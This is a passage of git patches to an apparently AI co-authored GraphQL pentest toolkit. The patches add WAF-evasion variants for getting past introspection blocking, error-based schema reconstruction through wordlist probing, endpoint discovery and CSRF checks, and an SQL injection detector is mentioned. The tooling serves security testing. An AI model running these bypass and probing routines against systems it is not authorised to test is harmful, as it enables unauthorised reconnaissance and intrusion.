--crawl-depth must be >= 1", file=sys.stderr) sys.exit(1) From 9d5f6d5bf63d14277bc3dcd9f697d8a09ca03c87 Mon Sep 17 00:00:00 2001 From: Jony Date: Mon, 8 Jun 2026 11:49:49 +0200 Subject: [PATCH 26/30] Update README to reflect simplified CLI flags Remove references to --introspection, --save/no-save-introspection, and --discover. Document that qgen --url is now required, and that effuzz auto-discovers the endpoint whenever the provided URL doesn't respond as GraphQL. Co-Authored-By: Claude Sonnet 4.6 --- README.md | 37 +++++++++++++++---------------------- 1 file changed, 15 insertions(+), 22 deletions(-) diff --git a/README.md b/README.md index 7a952f3..df3de9e 100644 --- a/README.md +++ b/README.md @@ -61,8 +61,8 @@ GraphQL-Scripts/ ### End-to-end example ```bash -# 1. Discover the endpoint and map permissions -python3 effuzz/effuzz.py --url https://target.com --discover \ +# 1. Map accessible operations (auto-discovers endpoint if needed) +python3 effuzz/effuzz.py --url https://target.com \ -H "Cookie: session=abc123" --filter-code 401 # 2. Check CSRF surface while we're at it @@ -91,21 +91,18 @@ Interactive CLI that loads a GraphQL schema (from file or auto-introspection) an ### Usage ```bash -python3 qgen/qgen.py [--introspection FILE | --url URL] [options] +python3 qgen/qgen.py --url URL [options] ``` ### Options | Flag | Description | |---|---| -| `--introspection FILE` | Load schema from a JSON file | -| `--url URL` | Fetch schema from the endpoint (auto-introspection) | +| `--url URL` | GraphQL endpoint URL (required) | | `-H "Name: Value"` | HTTP header, repeatable | | `--cookie FILE` | Cookie file (one line) | -| `--save-introspection` | Save fetched schema to `introspection_schema.json` (default: on) | -| `--no-save-introspection` | Do not save schema to disk | -When `--url` is used, qgen first sends `{__typename}` to confirm the endpoint is live GraphQL before running the full introspection. If the standard introspection query is blocked, it automatically retries with the newline-bypass variant (`__schema\n{...}`). +Before running introspection, qgen sends `{__typename}` to confirm the endpoint is live. If the standard introspection query is blocked, it automatically retries with the newline-bypass variant (`__schema\n{...}`). ### Interactive commands @@ -120,7 +117,8 @@ When `--url` is used, qgen first sends `{__typename}` to confirm the endpoint is ### Example session ``` -$ python3 qgen/qgen.py --url https://target.com/graphql -H "Authorization: Bearer TOKEN" +$ python3 qgen/qgen.py --url https://target.com/graphql \ + -H "Authorization: Bearer TOKEN" [+] Endpoint confirmed — __typename: Query [+] Introspection obtained. @@ -165,9 +163,7 @@ python3 effuzz/effuzz.py --url URL [options] | Flag | Description | |---|---| -| `--url URL` | GraphQL endpoint URL (base URL when `--discover` is used) | -| `--introspection FILE` | Load schema from file instead of fetching | -| `--discover` | Probe common GraphQL paths and confirm each with `{__typename}` | +| `--url URL` | GraphQL endpoint URL or base URL (e.g. `https://target.com`) | | `--check-methods` | Test GET query-param and form-urlencoded POST support (CSRF surface) | | `-H "Name: Value"` | HTTP header, repeatable | | `--cookie FILE` | Cookie file (one line) | @@ -176,19 +172,17 @@ python3 effuzz/effuzz.py --url URL [options] | `--match-code CODES` | Show only these status codes (e.g. `200,400`) | | `--filter-code CODES` | Hide these status codes (e.g. `401,403`) | | `--debug` | Print full response body for each request | -| `--save-introspection` | Save schema to disk (default: on) | -| `--no-save-introspection` | Do not save schema | -### --discover +### Auto-discovery -Probes the following paths and confirms each with `{__typename}`: +If `--url` doesn't respond as a GraphQL endpoint, effuzz automatically probes these paths and uses the first one that replies with a valid `__typename`: ``` /graphql /api/graphql /graphiql /graphql/console /api /graphql/api /graphql/graphql /graphql.php ``` -The first confirmed endpoint is used for fuzzing. Pass the base URL (e.g. `https://target.com`). +You can pass either the full endpoint (`https://target.com/graphql`) or just the base URL (`https://target.com`) — discovery handles both. ### --check-methods (CSRF surface) @@ -202,8 +196,8 @@ If either is accepted and auth relies solely on session cookies, CSRF is likely ### Examples ```bash -# Discover endpoint path first, then fuzz -python3 effuzz/effuzz.py --url https://target.com --discover \ +# Auto-discover endpoint and fuzz (pass base URL or full path — both work) +python3 effuzz/effuzz.py --url https://target.com \ -H "Authorization: Bearer TOKEN" # Check CSRF surface @@ -213,9 +207,8 @@ python3 effuzz/effuzz.py --url https://target.com/graphql --check-methods python3 effuzz/effuzz.py --url https://target.com/graphql \ --filter-code 401,403 -H "Authorization: Bearer TOKEN" -# Load saved schema, debug first result -python3 effuzz/effuzz.py --url https://target.com/graphql \ - --introspection introspection_schema.json --match-code 200 --debug +# Debug: print full response body for each method +python3 effuzz/effuzz.py --url https://target.com/graphql --match-code 200 --debug ``` ### Output interpretation From 7648fc8cc1ec853f21237a141a373e2c28280f19 Mon Sep 17 00:00:00 2001 From: Jony Date: Mon, 8 Jun 2026 12:00:37 +0200 Subject: [PATCH 27/30] Add multi-strategy introspection bypass and error-based schema reconstruction MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit core/introspection.py: - Add INTROSPECTION_QUERY_LOCATIONS (Burp-style 'locations' form) and INTROSPECTION_QUERY_ON_STAR (deprecated on*/onFragment form) as query variants - fetch_with_bypass now tries all combinations of 3 query forms × 7 __schema whitespace/comment bypass variants (newline, double-space, tab, comment #, compact, double-newline) × 3 HTTP methods (POST JSON, GET, POST form-urlencoded) - Add reconstruct_schema_from_errors(): when introspection is fully blocked, discovers fields via "Did you mean X?" suggestions from bogus probes, wordlist batching, and required-arg extraction from type error messages qgen / effuzz / sqli: fall back to reconstruct_schema_from_errors when all fetch_with_bypass strategies fail; log the strategy used when it's non-trivial Co-Authored-By: Claude Sonnet 4.6 --- core/introspection.py | 338 +++++++++++++++++++++++++++++++++++++----- effuzz/effuzz.py | 10 +- qgen/qgen.py | 12 +- sqli/sqli_detector.py | 12 +- 4 files changed, 325 insertions(+), 47 deletions(-) diff --git a/core/introspection.py b/core/introspection.py index 075c1da..01e06f3 100644 --- a/core/introspection.py +++ b/core/introspection.py @@ -1,16 +1,27 @@ #!/usr/bin/env python3 """Shared introspection helpers: fetch, bypass, load, save, and schema extraction.""" +from __future__ import annotations + import json +import re import sys -from typing import Any, Dict, Optional, Tuple +from typing import Any, Dict, List, Optional, Tuple +from urllib.parse import quote try: import requests except ImportError: requests = None # type: ignore -# Rich introspection query (includes inputFields for input object expansion and enumValues). +# ── Query forms ─────────────────────────────────────────────────────────────── +# +# INTROSPECTION_QUERY — no directives section; works on most modern servers. +# INTROSPECTION_QUERY_LOCATIONS — adds `directives { ... locations }` (Burp form). +# INTROSPECTION_QUERY_ON_STAR — adds `directives { ... onField onOperation onFragment }` +# (older GraphQL spec / some servers require these). +# INTROSPECTION_BYPASS_QUERY — newline variant of INTROSPECTION_QUERY (backward compat). + INTROSPECTION_QUERY = """ query IntrospectionQuery { __schema { @@ -41,70 +52,323 @@ } """ -# Bypass variant: newline between __schema and { evades naive regex filters. -# Most WAFs block the literal string "__schema{" but ignore whitespace between them. +INTROSPECTION_QUERY_LOCATIONS = INTROSPECTION_QUERY.replace( + " queryType { name }", + " queryType { name }\n directives { name isRepeatable locations }", + 1, +) + +INTROSPECTION_QUERY_ON_STAR = INTROSPECTION_QUERY.replace( + " queryType { name }", + " queryType { name }\n directives { name isRepeatable onField onOperation onFragment }", + 1, +) + +# Backward-compat alias used by older call sites. INTROSPECTION_BYPASS_QUERY = INTROSPECTION_QUERY.replace(" __schema {", " __schema\n{", 1) +# ── Internal helpers ────────────────────────────────────────────────────────── + def _is_valid_introspection(data: Any) -> bool: if not isinstance(data, dict): return False if isinstance(data.get("data"), dict) and "__schema" in data["data"]: - return True + schema = data["data"]["__schema"] + return bool(schema and schema.get("types")) if "__schema" in data: - return True + return bool(data["__schema"] and data["__schema"].get("types")) return False -def fetch_introspection(url: str, headers: Dict[str, str], - timeout: int = 15) -> Optional[Dict[str, Any]]: - """POST the standard introspection query to url. +def _apply_schema_bypass(query: str, variant: str) -> str: + """Rewrite the `__schema {` token using the given whitespace/comment variant.""" + orig = " __schema {" + table = { + "newline": " __schema\n{", + "newline2": " __schema\n\n{", + "double-space": " __schema {", + "tab": " __schema\t{", + "comment": " __schema #bypass\n{", + "compact": " __schema{", + } + replacement = table.get(variant) + if replacement: + return query.replace(orig, replacement, 1) + return query - Returns the parsed response dict on success, or None on failure. - """ - if requests is None: - print("[!] 'requests' library required. Install with: pip install requests", - file=sys.stderr) + +def _post_json(url: str, h: Dict[str, str], query: str, timeout: int) -> Optional[Dict]: + try: + resp = requests.post(url, headers=h, json={"query": query}, timeout=timeout) + return resp.json() + except Exception: return None + + +def _get_query(url: str, h: Dict[str, str], query: str, timeout: int) -> Optional[Dict]: + no_ct = {k: v for k, v in h.items() if k.lower() != "content-type"} try: - resp = requests.post(url, headers=headers, - json={"query": INTROSPECTION_QUERY}, timeout=timeout) - data = resp.json() - except requests.exceptions.RequestException as e: - print(f"[!] Connection error during introspection: {e}", file=sys.stderr) + resp = requests.get(url, headers=no_ct, + params={"query": query}, timeout=timeout) + return resp.json() + except Exception: return None - except ValueError as e: - print(f"[!] Response is not valid JSON: {e}", file=sys.stderr) + + +def _post_form(url: str, h: Dict[str, str], query: str, timeout: int) -> Optional[Dict]: + form_h = {k: v for k, v in h.items() if k.lower() != "content-type"} + form_h["Content-Type"] = "application/x-www-form-urlencoded" + try: + resp = requests.post(url, headers=form_h, + data=f"query={quote(query)}", timeout=timeout) + return resp.json() + except Exception: return None - return data if _is_valid_introspection(data) else None + + +# ── Public API ──────────────────────────────────────────────────────────────── + +def fetch_introspection(url: str, headers: Dict[str, str], + timeout: int = 15) -> Optional[Dict[str, Any]]: + """POST the standard introspection query. Returns the response dict or None.""" + if requests is None: + print("[!] 'requests' library required.", file=sys.stderr) + return None + h = {"Content-Type": "application/json"} + h.update(headers or {}) + data = _post_json(url, h, INTROSPECTION_QUERY, timeout) + return data if data and _is_valid_introspection(data) else None def fetch_with_bypass(url: str, headers: Dict[str, str], timeout: int = 15) -> Tuple[Optional[Dict[str, Any]], Optional[str]]: - """Try normal introspection, then the newline-bypass variant if the first fails. + """Try every bypass strategy in priority order. Return (data, strategy) or (None, None). - Returns (data, strategy) where strategy is 'normal', 'bypass', or None. - The bypass works because GraphQL ignores whitespace but many regex filters - match the literal string '__schema{' without accounting for newlines. + Strategies tried (in order): + POST JSON × {no-directives, locations, on*} forms × {normal, newline, comment, + double-space, tab, compact, newline2} bypass variants + GET × no-directives form × {normal, newline} variants + POST form-urlencoded × no-directives form × {normal, newline} variants """ - result = fetch_introspection(url, headers, timeout) - if result is not None: - return result, "normal" - if requests is None: return None, None + h = {"Content-Type": "application/json"} + h.update(headers or {}) + + # (query_form_label, query_string, bypass_variant, http_method) + strategies: List[Tuple[str, str, str, str]] = [] + + for form_label, base_query in [ + ("plain", INTROSPECTION_QUERY), + ("locations", INTROSPECTION_QUERY_LOCATIONS), + ("on-star", INTROSPECTION_QUERY_ON_STAR), + ]: + for variant in ["normal", "newline", "comment", "double-space", "tab", "compact", "newline2"]: + q = base_query if variant == "normal" else _apply_schema_bypass(base_query, variant) + strategies.append((form_label, q, variant, "post-json")) + + for variant in ["normal", "newline"]: + q = INTROSPECTION_QUERY if variant == "normal" else _apply_schema_bypass(INTROSPECTION_QUERY, variant) + strategies.append(("plain", q, variant, "get")) + strategies.append(("plain", q, variant, "post-form")) + + for form_label, query_str, variant, method in strategies: + if method == "post-json": + data = _post_json(url, h, query_str, timeout) + elif method == "get": + data = _get_query(url, h, query_str, timeout) + else: + data = _post_form(url, h, query_str, timeout) + + if data and _is_valid_introspection(data): + strategy_tag = ( + f"{method}" + + (f"/{form_label}" if form_label != "plain" else "") + + (f"/{variant}" if variant != "normal" else "") + ) + return data, strategy_tag + + return None, None + + +# ── Error-based schema reconstruction ──────────────────────────────────────── + +# Common GraphQL field names used as probes when introspection is blocked. +_DEFAULT_WORDLIST = [ + "id", "user", "users", "me", "profile", "account", "accounts", + "viewer", "node", "nodes", + "post", "posts", "article", "articles", "comment", "comments", + "message", "messages", "chat", "conversation", + "product", "products", "order", "orders", "item", "items", "cart", + "search", "query", "find", "list", + "create", "update", "delete", "add", "remove", "edit", + "login", "logout", "register", "auth", "token", "session", + "admin", "settings", "config", "info", "status", "health", + "file", "files", "upload", "download", "image", "images", + "paste", "pastes", "audit", "audits", + "systemHealth", "systemDebug", "systemUpdate", + "readAndBurn", "deleteAllPastes", +] + + +def reconstruct_schema_from_errors( + url: str, + headers: Dict[str, str], + timeout: int = 20, + wordlist: Optional[List[str]] = None, + verbose: bool = False, +) -> Optional[Dict[str, Any]]: + """Partially reconstruct the schema when introspection is disabled. + + Technique 1 — malformed probe: send a non-existent field and parse + "Did you mean X?" suggestions from the error message. + Technique 2 — wordlist probe: send batches of candidate field names; + those that don't error are real fields. + Technique 3 — required-arg discovery: for each found field, send it + without args and parse "Argument X of required type T" errors. + + Returns a minimal introspection-shaped dict or None. + """ + if requests is None: + return None + if wordlist is None: + wordlist = _DEFAULT_WORDLIST + + h = {"Content-Type": "application/json"} + h.update(headers or {}) + + # Discover root type name via __typename + root_type_name = "Query" try: - resp = requests.post(url, headers=headers, - json={"query": INTROSPECTION_BYPASS_QUERY}, timeout=timeout) - data = resp.json() - if _is_valid_introspection(data): - return data, "bypass" + resp = requests.post(url, headers=h, + json={"query": "{__typename}"}, timeout=timeout) + typename = (resp.json().get("data") or {}).get("__typename") + if typename: + root_type_name = typename except Exception: pass - return None, None + if verbose: + print(f"[*] Error-based reconstruction — root type: {root_type_name}") + + discovered: set = set() + + # Technique 1 — bogus field names trigger "Did you mean" for real fields + probe = "{ _zzz_nonexistent_probe_abc123 }" + try: + resp = requests.post(url, headers=h, json={"query": probe}, timeout=timeout) + for error in (resp.json().get("errors") or []): + msg = error.get("message", "") + for m in re.findall(r'Did you mean (?:\"([^\"]+)\"|\'([^\']+)\')', msg): + discovered.add(m[0] or m[1]) + except Exception: + pass + # Technique 2 — send batches of wordlist names; collect those that don't 404 + batch_size = 15 + for i in range(0, len(wordlist), batch_size): + batch = wordlist[i : i + batch_size] + query = "{ " + " ".join(batch) + " }" + try: + resp = requests.post(url, headers=h, json={"query": query}, timeout=timeout) + rjson = resp.json() + errors = rjson.get("errors") or [] + errored_fields = set() + for e in errors: + msg = e.get("message", "") + # Collect suggestions triggered by real-field names used as probes + for m in re.findall(r'Did you mean (?:\"([^\"]+)\"|\'([^\']+)\')', msg): + discovered.add(m[0] or m[1]) + # Track which probe fields errored with "Cannot query field" + m = re.search(r'Cannot query field ["\']([^"\']+)["\']', msg) + if m: + errored_fields.add(m.group(1)) + # Fields in the batch that did NOT appear in "Cannot query field" errors + # and whose data key is present may be real + data_obj = rjson.get("data") or {} + for fname in batch: + if fname in data_obj: + discovered.add(fname) + # A field that triggered a type/arg error (not "Cannot query field") exists + for e in errors: + if fname not in errored_fields: + locs = e.get("locations") or [] + path = e.get("path") or [] + if fname in str(path) or any(fname in str(l) for l in locs): + discovered.add(fname) + except Exception: + continue + + if not discovered: + if verbose: + print("[!] No fields discovered via error probing.") + return None + + if verbose: + print(f"[+] Discovered {len(discovered)} field(s): {sorted(discovered)}") + + # Technique 3 — probe each found field for required args + field_defs: List[Dict[str, Any]] = [] + for fname in sorted(discovered): + args: List[Dict[str, Any]] = [] + ret_type: Dict[str, Any] = {"kind": "SCALAR", "name": "String", "ofType": None} + try: + resp = requests.post(url, headers=h, + json={"query": f"{{ {fname} }}"}, timeout=timeout) + for error in (resp.json().get("errors") or []): + msg = error.get("message", "") + # "Argument 'X' of required type 'T!' was not provided" + for m in re.finditer( + r"[Aa]rgument\s+[\"']([^\"']+)[\"'][^.]*?type\s+[\"']([^\"']+)[\"']", + msg + ): + args.append({ + "name": m.group(1), + "type": { + "kind": "SCALAR", + "name": re.sub(r"[!\[\]]", "", m.group(2)), + "ofType": None, + }, + "defaultValue": None, + }) + # "Field X must have a selection of subfields" → it's an OBJECT type + if re.search(r"must have a selection", msg, re.I): + ret_type = {"kind": "OBJECT", "name": "Unknown", "ofType": None} + except Exception: + pass + field_defs.append({ + "name": fname, + "description": None, + "args": args, + "type": ret_type, + "isDeprecated": False, + "deprecationReason": None, + }) + + schema = { + "queryType": {"name": root_type_name}, + "mutationType": None, + "subscriptionType": None, + "types": [ + { + "kind": "OBJECT", + "name": root_type_name, + "description": "Partially reconstructed via error-based probing (introspection disabled)", + "fields": field_defs, + "inputFields": None, + "interfaces": [], + "enumValues": None, + "possibleTypes": None, + } + ], + "directives": [], + } + return {"data": {"__schema": schema}} + + +# ── File I/O ────────────────────────────────────────────────────────────────── def load_from_file(path: str) -> Optional[Dict[str, Any]]: """Load introspection JSON from a file. Returns dict or None on error.""" @@ -129,6 +393,8 @@ def save_to_file(data: Dict[str, Any], path: str = "introspection_schema.json") print(f"[!] Failed to save introspection to {path!r}: {e}", file=sys.stderr) +# ── Schema extraction ───────────────────────────────────────────────────────── + def extract_schema(data: Dict[str, Any]) -> Optional[Dict[str, Any]]: """Extract the __schema dict from either response shape. diff --git a/effuzz/effuzz.py b/effuzz/effuzz.py index 35fdfde..eaed214 100644 --- a/effuzz/effuzz.py +++ b/effuzz/effuzz.py @@ -371,9 +371,13 @@ def _parse_codes(raw: Optional[str]) -> Optional[set]: print(f"[*] Fetching introspection from {graphql_url} ...") introspection_data, strategy = core_intro.fetch_with_bypass(graphql_url, headers) if introspection_data is None: - print("[!] Could not obtain introspection from endpoint.", file=sys.stderr) - sys.exit(1) - tag = " (via newline bypass)" if strategy == "bypass" else "" + print("[!] All introspection strategies failed — attempting error-based reconstruction...") + introspection_data = core_intro.reconstruct_schema_from_errors(graphql_url, headers) + if introspection_data is None: + print("[!] Could not obtain schema.", file=sys.stderr) + sys.exit(1) + strategy = "error-reconstruction" + tag = f" (strategy: {strategy})" if strategy and strategy != "post-json" else "" print(f"[+] Introspection obtained{tag}.") schema = core_intro.extract_schema(introspection_data) diff --git a/qgen/qgen.py b/qgen/qgen.py index 65a4475..552b313 100644 --- a/qgen/qgen.py +++ b/qgen/qgen.py @@ -389,10 +389,14 @@ def main(): print(f"[*] Fetching introspection from {args.url} ...") introspection, strategy = core_intro.fetch_with_bypass(args.url, headers) if introspection is None: - print("[!] Could not obtain introspection from endpoint.") - sys.exit(1) - tag = " (via newline bypass)" if strategy == "bypass" else "" - print(f"[+] Introspection obtained{tag}.\n") + print("[!] All introspection strategies failed — attempting error-based reconstruction...") + introspection = core_intro.reconstruct_schema_from_errors(args.url, headers) + if introspection is None: + print("[!] Could not obtain schema.") + sys.exit(1) + strategy = "error-reconstruction" + tag = f" (strategy: {strategy})" if strategy and strategy != "post-json" else "" + print(f"[+] Schema obtained{tag}.\n") methods = extract_graphql_queries(introspection) if not methods: diff --git a/sqli/sqli_detector.py b/sqli/sqli_detector.py index 52a7b98..52ba54a 100644 --- a/sqli/sqli_detector.py +++ b/sqli/sqli_detector.py @@ -661,10 +661,14 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, _intro_headers.update(headers or {}) intro_data, strategy = core_intro.fetch_with_bypass(endpoint, _intro_headers, TIMEOUT) if intro_data is None: - print(Fore.RED + "[!] Failed to retrieve schema via introspection.") - return [] - if strategy == "bypass": - print(Fore.YELLOW + "[!] Introspection obtained via newline bypass (standard query was blocked).") + print(Fore.YELLOW + "[!] All introspection strategies failed — attempting error-based reconstruction...") + intro_data = core_intro.reconstruct_schema_from_errors(endpoint, _intro_headers, TIMEOUT, verbose=verbose) + if intro_data is None: + print(Fore.RED + "[!] Could not obtain schema.") + return [] + strategy = "error-reconstruction" + if strategy and strategy not in ("normal", "post-json"): + print(Fore.YELLOW + f"[!] Introspection strategy used: {strategy}") schema = core_intro.extract_schema(intro_data) if not schema: From b385b49a87dd21c647ad65c0e818ea79e356c8ab Mon Sep 17 00:00:00 2001 From: Jony Date: Mon, 8 Jun 2026 12:13:08 +0200 Subject: [PATCH 28/30] Clean up dead code and unify strategy reporting MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit core/introspection.py: - Remove INTROSPECTION_BYPASS_QUERY (unused constant) - Remove save_to_file and load_from_file (nothing calls them after --introspection removal) - Make fetch_introspection private (implementation detail of fetch_with_bypass) - Reorder strategy list: iterate bypass-variant first, then query form — detects a wrong query form after 3 requests instead of 21 - Return "normal" (not "post-json") for the plain POST success case qgen: remove _confirm_endpoint() — redundant pre-flight before fetch_with_bypass qgen / effuzz / sqli: unify strategy display check to != "normal" Co-Authored-By: Claude Sonnet 4.6 --- core/introspection.py | 237 ++++++++++++++++-------------------------- effuzz/effuzz.py | 2 +- qgen/qgen.py | 24 +---- sqli/sqli_detector.py | 2 +- 4 files changed, 90 insertions(+), 175 deletions(-) diff --git a/core/introspection.py b/core/introspection.py index 01e06f3..be7446c 100644 --- a/core/introspection.py +++ b/core/introspection.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -"""Shared introspection helpers: fetch, bypass, load, save, and schema extraction.""" +"""Shared introspection helpers: fetch, bypass, and schema extraction.""" from __future__ import annotations @@ -16,11 +16,10 @@ # ── Query forms ─────────────────────────────────────────────────────────────── # -# INTROSPECTION_QUERY — no directives section; works on most modern servers. -# INTROSPECTION_QUERY_LOCATIONS — adds `directives { ... locations }` (Burp form). -# INTROSPECTION_QUERY_ON_STAR — adds `directives { ... onField onOperation onFragment }` -# (older GraphQL spec / some servers require these). -# INTROSPECTION_BYPASS_QUERY — newline variant of INTROSPECTION_QUERY (backward compat). +# INTROSPECTION_QUERY — no directives; works on most modern servers. +# INTROSPECTION_QUERY_LOCATIONS — adds `directives { locations }` (Burp form). +# INTROSPECTION_QUERY_ON_STAR — adds `directives { onField onOperation onFragment }` +# (older GraphQL spec; some servers require these). INTROSPECTION_QUERY = """ query IntrospectionQuery { @@ -64,9 +63,6 @@ 1, ) -# Backward-compat alias used by older call sites. -INTROSPECTION_BYPASS_QUERY = INTROSPECTION_QUERY.replace(" __schema {", " __schema\n{", 1) - # ── Internal helpers ────────────────────────────────────────────────────────── @@ -82,20 +78,17 @@ def _is_valid_introspection(data: Any) -> bool: def _apply_schema_bypass(query: str, variant: str) -> str: - """Rewrite the `__schema {` token using the given whitespace/comment variant.""" - orig = " __schema {" + """Rewrite the `__schema {` token with a whitespace/comment variant.""" table = { - "newline": " __schema\n{", - "newline2": " __schema\n\n{", - "double-space": " __schema {", - "tab": " __schema\t{", - "comment": " __schema #bypass\n{", - "compact": " __schema{", + "newline": " __schema\n{", + "newline2": " __schema\n\n{", + "double-space": " __schema {", + "tab": " __schema\t{", + "comment": " __schema #bypass\n{", + "compact": " __schema{", } replacement = table.get(variant) - if replacement: - return query.replace(orig, replacement, 1) - return query + return query.replace(" __schema {", replacement, 1) if replacement else query def _post_json(url: str, h: Dict[str, str], query: str, timeout: int) -> Optional[Dict]: @@ -109,8 +102,7 @@ def _post_json(url: str, h: Dict[str, str], query: str, timeout: int) -> Optiona def _get_query(url: str, h: Dict[str, str], query: str, timeout: int) -> Optional[Dict]: no_ct = {k: v for k, v in h.items() if k.lower() != "content-type"} try: - resp = requests.get(url, headers=no_ct, - params={"query": query}, timeout=timeout) + resp = requests.get(url, headers=no_ct, params={"query": query}, timeout=timeout) return resp.json() except Exception: return None @@ -120,8 +112,7 @@ def _post_form(url: str, h: Dict[str, str], query: str, timeout: int) -> Optiona form_h = {k: v for k, v in h.items() if k.lower() != "content-type"} form_h["Content-Type"] = "application/x-www-form-urlencoded" try: - resp = requests.post(url, headers=form_h, - data=f"query={quote(query)}", timeout=timeout) + resp = requests.post(url, headers=form_h, data=f"query={quote(query)}", timeout=timeout) return resp.json() except Exception: return None @@ -129,27 +120,22 @@ def _post_form(url: str, h: Dict[str, str], query: str, timeout: int) -> Optiona # ── Public API ──────────────────────────────────────────────────────────────── -def fetch_introspection(url: str, headers: Dict[str, str], - timeout: int = 15) -> Optional[Dict[str, Any]]: - """POST the standard introspection query. Returns the response dict or None.""" - if requests is None: - print("[!] 'requests' library required.", file=sys.stderr) - return None - h = {"Content-Type": "application/json"} - h.update(headers or {}) - data = _post_json(url, h, INTROSPECTION_QUERY, timeout) - return data if data and _is_valid_introspection(data) else None - - def fetch_with_bypass(url: str, headers: Dict[str, str], timeout: int = 15) -> Tuple[Optional[Dict[str, Any]], Optional[str]]: """Try every bypass strategy in priority order. Return (data, strategy) or (None, None). - Strategies tried (in order): - POST JSON × {no-directives, locations, on*} forms × {normal, newline, comment, - double-space, tab, compact, newline2} bypass variants - GET × no-directives form × {normal, newline} variants - POST form-urlencoded × no-directives form × {normal, newline} variants + Returns "normal" when the plain POST succeeds without any bypass. + Otherwise returns a descriptive tag like "post-json/newline", + "post-json/locations/comment", "get/newline", "post-form", etc. + + Strategy order: all query forms with each bypass variant before moving to the + next variant — so a wrong query form is detected after just 3 requests. + + POST JSON variants: + bypass × {normal, newline, comment, double-space, tab, compact, newline2} + form × {plain, locations, on-star} + GET and POST form-urlencoded: + plain form × {normal, newline} """ if requests is None: return None, None @@ -157,15 +143,17 @@ def fetch_with_bypass(url: str, headers: Dict[str, str], h = {"Content-Type": "application/json"} h.update(headers or {}) - # (query_form_label, query_string, bypass_variant, http_method) - strategies: List[Tuple[str, str, str, str]] = [] - - for form_label, base_query in [ - ("plain", INTROSPECTION_QUERY), + _forms = [ + ("plain", INTROSPECTION_QUERY), ("locations", INTROSPECTION_QUERY_LOCATIONS), - ("on-star", INTROSPECTION_QUERY_ON_STAR), - ]: - for variant in ["normal", "newline", "comment", "double-space", "tab", "compact", "newline2"]: + ("on-star", INTROSPECTION_QUERY_ON_STAR), + ] + _variants = ["normal", "newline", "comment", "double-space", "tab", "compact", "newline2"] + + # Build strategy list: iterate variant-first so all forms are tried per variant. + strategies: List[Tuple[str, str, str, str]] = [] + for variant in _variants: + for form_label, base_query in _forms: q = base_query if variant == "normal" else _apply_schema_bypass(base_query, variant) strategies.append((form_label, q, variant, "post-json")) @@ -183,19 +171,20 @@ def fetch_with_bypass(url: str, headers: Dict[str, str], data = _post_form(url, h, query_str, timeout) if data and _is_valid_introspection(data): - strategy_tag = ( - f"{method}" - + (f"/{form_label}" if form_label != "plain" else "") - + (f"/{variant}" if variant != "normal" else "") - ) - return data, strategy_tag + if method == "post-json" and form_label == "plain" and variant == "normal": + return data, "normal" + tag = method + if form_label != "plain": + tag += f"/{form_label}" + if variant != "normal": + tag += f"/{variant}" + return data, tag return None, None # ── Error-based schema reconstruction ──────────────────────────────────────── -# Common GraphQL field names used as probes when introspection is blocked. _DEFAULT_WORDLIST = [ "id", "user", "users", "me", "profile", "account", "accounts", "viewer", "node", "nodes", @@ -222,12 +211,9 @@ def reconstruct_schema_from_errors( ) -> Optional[Dict[str, Any]]: """Partially reconstruct the schema when introspection is disabled. - Technique 1 — malformed probe: send a non-existent field and parse - "Did you mean X?" suggestions from the error message. - Technique 2 — wordlist probe: send batches of candidate field names; - those that don't error are real fields. - Technique 3 — required-arg discovery: for each found field, send it - without args and parse "Argument X of required type T" errors. + 1. Bogus-field probe → parse "Did you mean X?" suggestions. + 2. Wordlist batch → fields that don't get "Cannot query field" exist. + 3. Required-arg probe → per field, extract arg names/types from error messages. Returns a minimal introspection-shaped dict or None. """ @@ -239,11 +225,9 @@ def reconstruct_schema_from_errors( h = {"Content-Type": "application/json"} h.update(headers or {}) - # Discover root type name via __typename root_type_name = "Query" try: - resp = requests.post(url, headers=h, - json={"query": "{__typename}"}, timeout=timeout) + resp = requests.post(url, headers=h, json={"query": "{__typename}"}, timeout=timeout) typename = (resp.json().get("data") or {}).get("__typename") if typename: root_type_name = typename @@ -255,48 +239,38 @@ def reconstruct_schema_from_errors( discovered: set = set() - # Technique 1 — bogus field names trigger "Did you mean" for real fields - probe = "{ _zzz_nonexistent_probe_abc123 }" + # Technique 1 — bogus field → "Did you mean X?" try: - resp = requests.post(url, headers=h, json={"query": probe}, timeout=timeout) + resp = requests.post(url, headers=h, + json={"query": "{ _zzz_nonexistent_probe_abc123 }"}, timeout=timeout) for error in (resp.json().get("errors") or []): - msg = error.get("message", "") - for m in re.findall(r'Did you mean (?:\"([^\"]+)\"|\'([^\']+)\')', msg): + for m in re.findall(r'Did you mean (?:\"([^\"]+)\"|\'([^\']+)\')', + error.get("message", "")): discovered.add(m[0] or m[1]) except Exception: pass - # Technique 2 — send batches of wordlist names; collect those that don't 404 - batch_size = 15 - for i in range(0, len(wordlist), batch_size): - batch = wordlist[i : i + batch_size] - query = "{ " + " ".join(batch) + " }" + # Technique 2 — wordlist batches + for i in range(0, len(wordlist), 15): + batch = wordlist[i: i + 15] try: - resp = requests.post(url, headers=h, json={"query": query}, timeout=timeout) + resp = requests.post(url, headers=h, + json={"query": "{ " + " ".join(batch) + " }"}, timeout=timeout) rjson = resp.json() - errors = rjson.get("errors") or [] - errored_fields = set() - for e in errors: + errored: set = set() + for e in (rjson.get("errors") or []): msg = e.get("message", "") - # Collect suggestions triggered by real-field names used as probes for m in re.findall(r'Did you mean (?:\"([^\"]+)\"|\'([^\']+)\')', msg): discovered.add(m[0] or m[1]) - # Track which probe fields errored with "Cannot query field" - m = re.search(r'Cannot query field ["\']([^"\']+)["\']', msg) - if m: - errored_fields.add(m.group(1)) - # Fields in the batch that did NOT appear in "Cannot query field" errors - # and whose data key is present may be real - data_obj = rjson.get("data") or {} + m2 = re.search(r'Cannot query field ["\']([^"\']+)["\']', msg) + if m2: + errored.add(m2.group(1)) for fname in batch: - if fname in data_obj: + if fname in (rjson.get("data") or {}): discovered.add(fname) - # A field that triggered a type/arg error (not "Cannot query field") exists - for e in errors: - if fname not in errored_fields: - locs = e.get("locations") or [] - path = e.get("path") or [] - if fname in str(path) or any(fname in str(l) for l in locs): + elif fname not in errored: + for e in (rjson.get("errors") or []): + if fname in str(e.get("path") or []): discovered.add(fname) except Exception: continue @@ -309,7 +283,7 @@ def reconstruct_schema_from_errors( if verbose: print(f"[+] Discovered {len(discovered)} field(s): {sorted(discovered)}") - # Technique 3 — probe each found field 